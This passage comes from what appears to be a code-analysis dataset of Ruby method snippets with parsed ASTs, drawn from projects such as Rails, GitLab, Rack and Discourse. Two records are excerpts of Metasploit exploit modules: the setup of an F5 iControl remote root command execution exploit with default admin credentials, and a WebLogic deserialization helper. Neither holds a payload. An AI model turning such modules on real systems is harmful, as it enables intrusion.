end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"add_blocked_hotlinked_image_placeholder!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"el\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"el\"]},\"name=\",{\"type\":\"str\",\"children\":[\"a\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"el\"]},\"set_attribute\",{\"type\":\"str\",\"children\":[\"href\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"el\"]},\"[]\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PrettyText\"]},\"BLOCKED_HOTLINKED_SRC_ATTR\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"el\"]},\"set_attribute\",{\"type\":\"str\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"blocked-hotlinked-placeholder\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"el\"]},\"set_attribute\",{\"type\":\"str\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"post.image_placeholder.blocked_hotlinked_title\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"el\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<svg class=\\\"fa d-icon d-icon-link svg-icon\\\" aria-hidden=\\\"true\\\"><use href=\\\"#link\\\"></use></svg>\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"el\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<span class=\\\"notice\\\">\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CGI\"]},\"escapeHTML\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"post.image_placeholder.blocked_hotlinked\"]}]}]}]},{\"type\":\"str\",\"children\":[\"</span>\"]}]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"956afd3d-90af-4b77-bc30-5351e0de1876"}
{"repo_name":"puma","file_path":"./repos/puma/test/helper.rb","start_line":61,"raw_source":"def hit(uris)\n  uris.map do |u|\n    response =\n      if u.kind_of? String\n        Net::HTTP.get(URI.parse(u))\n      else\n        url = URI.parse(u[0])\n        Net::HTTP.new(url.host, url.port).start {|h| h.request(u[1]) }\n      end\n\n    assert response, \"Didn't get a response: #{u}\"\n    response\n  end\nend","complexity_score":25.68,"ast_json":"{\"type\":\"def\",\"children\":[\"hit\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"uris\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uris\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"u\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"HTTP\"]},\"get\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"u\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"HTTP\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"port\"]}]},\"start\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"h\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"lvar\",\"children\":[\"response\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Didn't get a response: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]}","id":"704411f6-ee17-4080-ba6a-8e5ecf1b3888"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/rails/helpers.rb","start_line":60,"raw_source":"def doorkeeper_status_for_error(error, respond_not_found_when_forbidden)\n        if respond_not_found_when_forbidden && error.status == :forbidden\n          :not_found\n        else\n          error.status\n        end\n      end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"doorkeeper_status_for_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"error\"]},{\"type\":\"arg\",\"children\":[\"respond_not_found_when_forbidden\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"respond_not_found_when_forbidden\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"status\"]},\"==\",{\"type\":\"sym\",\"children\":[\"forbidden\"]}]}]},{\"type\":\"sym\",\"children\":[\"not_found\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"status\"]}]}]}","id":"0c52a615-b2f3-4e5c-96fb-0c1ce9dd6717"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/controllers/projects/clusters_controller_spec.rb","start_line":571,"raw_source":"def go\n      delete :destroy,\n        params: {\n          namespace_id: project.namespace,\n          project_id: project,\n          id: cluster\n        }\n    end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"go\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"delete\",{\"type\":\"sym\",\"children\":[\"destroy\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"namespace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"cluster\"]}]}]}]}]}]}]}","id":"48c862b8-fa3b-4c09-81cc-f5d642958129"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/f5_icontrol_exec.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => \"F5 iControl Remote Root Command Execution\",\n        'Description' => %q{\n          This module exploits an authenticated remote command execution\n          vulnerability in the F5 BIGIP iControl API (and likely other\n          F5 devices).\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'bperry' # Discovery, Metasploit module\n        ],\n        'References' => [\n          ['CVE', '2014-2928'],\n          ['URL', 'http://support.f5.com/kb/en-us/solutions/public/15000/200/sol15220.html']\n        ],\n        'Platform' => ['unix'],\n        'Arch' => ARCH_CMD,\n        'Targets' => [\n          ['F5 iControl', {}]\n        ],\n        'Privileged' => true,\n        'DisclosureDate' => '2013-09-17',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(443),\n        OptBool.new('SSL', [true, 'Use SSL', true]),\n        OptString.new('TARGETURI', [true, 'The base path to the iControl installation', '/']),\n        OptString.new('HttpUsername', [true, 'The username to authenticate with', 'admin']),\n        OptString.new('HttpPassword', [true, 'The password to authenticate with', 'admin'])\n      ]\n    )\n  end","complexity_score":10.35,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"F5 iControl Remote Root Command Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits an authenticated remote command execution\\n\"]},{\"type\":\"str\",\"children\":[\"          vulnerability in the F5 BIGIP iControl API (and likely other\\n\"]},{\"type\":\"str\",\"children\":[\"          F5 devices).\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"bperry\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2014-2928\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://support.f5.com/kb/en-us/solutions/public/15000/200/sol15220.html\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"F5 iControl\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2013-09-17\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[443]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Use SSL\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The base path to the iControl installation\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"HttpUsername\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The username to authenticate with\"]},{\"type\":\"str\",\"children\":[\"admin\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"HttpPassword\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The password to authenticate with\"]},{\"type\":\"str\",\"children\":[\"admin\"]}]}]}]}]}]}]}","id":"9b311f7d-6e15-4ee7-b243-3b8a7e6aeb82"}
{"repo_name":"rack","file_path":"./repos/rack/lib/rack/headers.rb","start_line":91,"raw_source":"def self.[](*items)\n      if items.length % 2 != 0\n        if items.length == 1 && items.first.is_a?(Hash)\n          new.merge!(items.first)\n        else\n          raise ArgumentError, \"odd number of arguments for Rack::Headers\"\n        end\n      else\n        hash = new\n        loop do\n          break if items.length == 0\n          key = items.shift\n          value = items.shift\n          hash[key] = value\n        end\n        hash\n      end\n    end","complexity_score":34.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"items\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"length\"]},\"%\",{\"type\":\"int\",\"children\":[2]}]},\"!=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"first\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\"]},\"merge!\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"odd number of arguments for Rack::Headers\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hash\",{\"type\":\"send\",\"children\":[null,\"new\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loop\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"shift\"]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"shift\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]}]}","id":"93aecec0-fa84-4fe3-a950-b2655331611a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/misc/weblogic_deserialize_badattrval.rb","start_line":523,"raw_source":"def reflect_extract_count\n    case @version_no\n    when Rex::Version.new('12.2.1.3.0')\n      '3'\n    else\n      '2'\n    end\n  end","complexity_score":3.3,"ast_json":"{\"type\":\"def\",\"children\":[\"reflect_extract_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@version_no\"]},{\"type\":\"when\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"12.2.1.3.0\"]}]},{\"type\":\"str\",\"children\":[\"3\"]}]},{\"type\":\"str\",\"children\":[\"2\"]}]}]}","id":"63ec717d-7e34-4af8-9d25-a65a04e9cd76"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/alias.rb","start_line":86,"raw_source":"def add_offense_for_args(node, &block)\n          existing_args  = node.children.map(&:source).join(' ')\n          preferred_args = node.children.map { |a| a.source[1..] }.join(' ')\n          arg_ranges     = node.children.map(&:source_range)\n          msg            = format(MSG_SYMBOL_ARGS, prefer: preferred_args, current: existing_args)\n          add_offense(arg_ranges.reduce(&:join), message: msg, &block)\n        end","complexity_score":26.18,"ast_json":"{\"type\":\"def\",\"children\":[\"add_offense_for_args\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"existing_args\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"children\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"preferred_args\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"children\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"source\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},null]}]}]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"arg_ranges\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"children\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_range\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[null,\"MSG_SYMBOL_ARGS\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"prefer\"]},{\"type\":\"lvar\",\"children\":[\"preferred_args\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current\"]},{\"type\":\"lvar\",\"children\":[\"existing_args\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg_ranges\"]},\"reduce\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"join\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"b7c39435-3ba6-4497-9dcb-e60e4fa062d4"}
{"repo_name":"liquid","file_path":"./repos/liquid/lib/liquid/environment.rb","start_line":65,"raw_source":"def dangerously_override(environment)\n        original_default = @default\n        @default = environment\n        yield\n      ensure\n        @default = original_default\n      end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"dangerously_override\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"environment\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"original_default\",{\"type\":\"ivar\",\"children\":[\"@default\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@default\",{\"type\":\"lvar\",\"children\":[\"environment\"]}]},{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@default\",{\"type\":\"lvar\",\"children\":[\"original_default\"]}]}]}]}","id":"4afd89f3-49bf-4e29-be2c-c1ad07c83c14"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/attachment.rb","start_line":57,"raw_source":"def download_url\n    ActiveStorage::Current.url_options = Rails.application.routes.default_url_options if ActiveStorage::Current.url_options.blank?\n    file.attached? ? file.blob.url : ''\n  end","complexity_score":15.3,"ast_json":"{\"type\":\"def\",\"children\":[\"download_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveStorage\"]},\"Current\"]},\"url_options\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveStorage\"]},\"Current\"]},\"url_options=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"application\"]},\"routes\"]},\"default_url_options\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file\"]},\"attached?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file\"]},\"blob\"]},\"url\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"6514d142-1082-465a-bf45-20c713fc1350"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/hash_with_indifferent_access_test.rb","start_line":270,"raw_source":"def test_update_with_multiple_arguments\n    hash = HashWithIndifferentAccess.new\n    hash.update(\n      { \"a\" => 1 }.with_indifferent_access,\n      { \"b\" => 2 }\n    )\n\n    assert_equal 1, hash[\"a\"]\n    assert_equal 2, hash[\"b\"]\n  end","complexity_score":9.85,"ast_json":"{\"type\":\"def\",\"children\":[\"test_update_with_multiple_arguments\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hash\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HashWithIndifferentAccess\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"update\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"int\",\"children\":[1]}]}]},\"with_indifferent_access\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"b\"]},{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"a\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"b\"]}]}]}]}]}","id":"343e9df8-72c3-4154-81ce-f5203589a0be"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/automation/app/serializers/discourse_automation/automation_serializer.rb","start_line":149,"raw_source":"def scriptable\n      object.scriptable\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"scriptable\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"scriptable\"]}]}","id":"f9951964-62c4-4bd2-a48d-78d88d92ace2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/rpm/repository_metadata/build_primary_xml_service.rb","start_line":53,"raw_source":"def build_requires_node(xml)\n          xml[:rpm].requires do\n            data[:requirements].each do |requires|\n              xml[:rpm].entry(\n                name: requires[:requirename],\n                flags: requires[:requireflags],\n                ver: requires[:requireversion]\n              )\n            end\n          end\n        end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"build_requires_node\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"xml\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"rpm\"]}]},\"requires\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"requirements\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"requires\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"rpm\"]}]},\"entry\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"requires\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"requirename\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"flags\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"requires\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"requireflags\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ver\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"requires\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"requireversion\"]}]}]}]}]}]}]}]}","id":"848029b2-dce9-41f4-9492-2ae46a715d72"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/core.rb","start_line":642,"raw_source":"def hash\n      id = self.id\n\n      if self.class.composite_primary_key? ? primary_key_values_present? : id\n        self.class.hash ^ id.hash\n      else\n        super\n      end\n    end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"id\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"composite_primary_key?\"]},{\"type\":\"send\",\"children\":[null,\"primary_key_values_present?\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"hash\"]},\"^\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},\"hash\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}]}","id":"ea577e0b-21ec-419c-a5c8-54fbcfb099dd"}
